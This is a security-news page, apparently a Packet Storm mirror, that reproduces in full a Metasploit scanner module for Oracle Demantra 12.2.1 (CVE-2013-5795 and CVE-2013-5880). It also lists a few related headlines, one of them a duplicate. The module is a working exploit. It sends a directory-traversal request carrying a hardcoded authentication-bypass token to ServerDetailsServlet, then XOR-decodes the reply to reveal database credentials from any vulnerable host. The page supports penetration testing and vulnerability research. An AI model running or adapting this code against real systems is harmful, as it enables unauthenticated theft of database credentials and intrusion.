Security
Headlines
HeadlinesLatestCVEs

Headline

Oracle Demantra Database Credentials Leak

This Metasploit module exploits a database credentials leak found in Oracle Demantra 12.2.1 in combination with an authentication bypass. This way an unauthenticated user can retrieve the database name, username and password on any vulnerable machine.

Packet Storm
#mac#js#git#oracle#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::Report  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(update_info(info,      'Name'           => 'Oracle Demantra Database Credentials Leak',      'Description'    => %q{        This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in        combination with an authentication bypass. This way an unauthenticated user can retrieve        the database name, username and password on any vulnerable machine.      },      'References'     =>        [          [ 'CVE', '2013-5795'],          [ 'CVE', '2013-5880'],          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/'],          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ]        ],      'Author'         =>        [          'Oliver Gruskovnjak'        ],      'License'        => MSF_LICENSE,      'DisclosureDate' => '2014-02-28'    ))    register_options(      [        Opt::RPORT(8080),        OptBool.new('SSL',   [false, 'Use SSL', false])      ])  end  def run_host(ip)    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri('demantra', 'common', 'loginCheck.jsp', '..', '..', 'ServerDetailsServlet'),      'vars_get' => {        'UAK' => '406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1'      }    })    if res.nil? or res.body.empty?      vprint_error("No content retrieved")      return    end    if res.code == 404      vprint_error("File not found")      return    end    if res.code == 200      creds = ""      vprint_status("String received: #{res.body.to_s}") unless res.body.blank?      res.body.to_s.split(",").each do|c|        i = c.to_i ^ 0x50        creds += i.chr      end      print_good("Credentials decoded: #{creds}") unless creds.empty?    end  endend

Related news

Oracle Demantra Arbitrary File Retrieval With Authentication Bypass

This Metasploit module exploits a file download vulnerability found in Oracle Demantra 12.2.1 in combination with an authentication bypass. By combining these exposures, an unauthenticated user can retrieve any file on the system by referencing the full file path to any file a vulnerable machine.

CVE-2013-5891: Oracle Critical Patch Update - January 2014

Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.5.33 and earlier and 5.6.13 and earlier allows remote authenticated users to affect availability via unknown vectors related to Partition.

CVE-2013-5891: Oracle Critical Patch Update - January 2014

Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.5.33 and earlier and 5.6.13 and earlier allows remote authenticated users to affect availability via unknown vectors related to Partition.

Packet Storm: Latest News

Invesalius 3.1 Arbitrary File Write / Directory Traversal